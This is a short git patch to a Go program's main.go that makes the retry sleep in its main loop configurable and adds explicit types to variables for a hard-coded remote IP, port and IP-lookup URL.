From 38db0c030dd406664688c3425188f62464272806 Mon Sep 17 00:00:00 2001 From: raul Date: Mon, 10 Jun 2024 09:36:55 +0200 Subject: [PATCH] Allow configuring timeout rate --- main.go | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/main.go b/main.go index 368ab5c..8e979f5 100644 --- a/main.go +++ b/main.go @@ -16,9 +16,10 @@ import ( ) var ( - RemoteIP = "192.168.1.181" - RemotePort = "1302" - Remote_IP_Requester = "https://ip.bulgariu.xyz" + RemoteIP string = "192.168.1.181" + RemotePort string = "1302" + Remote_IP_Requester string = "https://ip.bulgariu.xyz" + TimeoutRate time.Duration = 5 ) func main() { @@ -27,7 +28,7 @@ func main() { if err := start(); err != nil { log.Print(err) } - time.Sleep(time.Second * 5) + time.Sleep(time.Second * TimeoutRate) } }